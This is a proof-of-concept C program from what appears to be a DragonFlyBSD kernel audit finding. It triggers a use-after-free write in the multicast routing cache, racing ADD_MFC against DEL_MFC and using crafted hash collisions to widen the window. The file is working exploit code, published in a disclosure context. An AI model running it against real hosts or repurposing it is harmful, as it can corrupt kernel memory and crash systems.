⬢ DragonFlyBSD Kernel Audit
DF-3302 / mfcrace.c
← back to finding ↓ download raw
/*
 * DF-3302 PoC: add_mfc() looks up the cache entry with mfc_find() BEFORE
 * taking mroute_token (sys/net/ip_mroute/ip_mroute.c:976); the found
 * pointer is then used under the token in update_mfc_params() (:987).
 * A concurrent MRT_DEL_MFC on another CPU takes the token, unlinks and
 * kfrees the very same entry between the unlocked lookup and the update,
 * turning the update into a write into freed memory (UAF-write).
 *
 * The race window is widened by (a) a long hash-chain walk in mfc_find
 * (many entries colliding into one MFCTBLSIZ bucket) and (b) token
 * contention on the add side.
 *
 * MFCHASH(a,g) = (((a)>>20)^((a)>>10)^a ^ (g)>>20^(g)>>10^g) & 255.
 * We craft many (S,G) pairs with identical hash, then hammer
 * ADD_MFC (update path) vs DEL_MFC in parallel.
 *
 * build: cc -O2 -pthread -o mfcrace mfcrace.c
 * run:   ./mfcrace [seconds]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>

#include "ip_mroute_common.h"

#define MFCTBLSIZ 256
#define RUN_SECS 120
#define NPAIRS 512

static uint32_t pairs[NPAIRS][2];
static volatile int stop_now;

#define MFCHASH(a, g) ((((a) >> 20) ^ ((a) >> 10) ^ (a) ^ \
			(g) >> 20 ^ (g) >> 10 ^ (g)) & (MFCTBLSIZ - 1))

static void *
adder(void *arg)
{
	int fd = *(int *)arg;
	struct mfcctl2 mfc;
	int i;

	while (!stop_now) {
		for (i = 0; i < NPAIRS; i++) {
			memset(&mfc, 0, sizeof(mfc));
			mfc.mfcc_origin.s_addr = htonl(pairs[i][0]);
			mfc.mfcc_mcastgrp.s_addr = htonl(pairs[i][1]);
			mfc.mfcc_parent = 0;
			setsockopt(fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc));
		}
	}
	return NULL;
}

static void *
deleter(void *arg)
{
	int fd = *(int *)arg;
	struct mfcctl2 mfc;
	int i;

	while (!stop_now) {
		for (i = 0; i < NPAIRS; i++) {
			memset(&mfc, 0, sizeof(mfc));
			mfc.mfcc_origin.s_addr = htonl(pairs[i][0]);
			mfc.mfcc_mcastgrp.s_addr = htonl(pairs[i][1]);
			setsockopt(fd, IPPROTO_IP, MRT_DEL_MFC, &mfc, sizeof(mfc));
		}
	}
	return NULL;
}

int
main(int argc, char **argv)
{
	uint32_t s_base = 0x0a141400;	/* 10.20.20.0 base, group fixed */
	uint32_t grp = 0xe0000001 | (0x5a5a << 8); /* 224.90.90.1 */
	uint32_t want;
	int fd, rc, n = 0, secs = RUN_SECS, i;
	pthread_t ta, tb;

	if (argc > 1)
		secs = atoi(argv[1]);

	/* craft NPAIRS (S,G) pairs that all hash to bucket (grp hash) */
	want = MFCHASH(s_base, grp);
	for (i = 0; i < NPAIRS; ) {
		uint32_t s = s_base + (uint32_t)(random() & 0x00ffffff);
		if (MFCHASH(s, grp) == want) {
			pairs[i][0] = s;
			pairs[i][1] = grp;
			i++;
		}
	}
	printf("crafted %d (S,G) pairs colliding into bucket %u\n", NPAIRS, want);

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (fd < 0) { perror("raw igmp socket (must run as root)"); exit(1); }
	rc = mrt_init(fd);
	if (rc < 0) { perror("MRT_INIT"); exit(1); }

	/* pre-populate so adds take the update path */
	for (i = 0; i < NPAIRS; i++) {
		struct mfcctl2 mfc;
		memset(&mfc, 0, sizeof(mfc));
		mfc.mfcc_origin.s_addr = htonl(pairs[i][0]);
		mfc.mfcc_mcastgrp.s_addr = htonl(pairs[i][1]);
		setsockopt(fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc));
	}

	pthread_create(&ta, NULL, adder, &fd);
	pthread_create(&tb, NULL, deleter, &fd);
	printf("racing ADD_MFC vs DEL_MFC for %d seconds...\n", secs);
	sleep(secs);
	stop_now = 1;
	pthread_join(ta, NULL);
	pthread_join(tb, NULL);
	printf("survived %d seconds (no INVARIANTS trip / panic)\n", secs);
	return 0;
}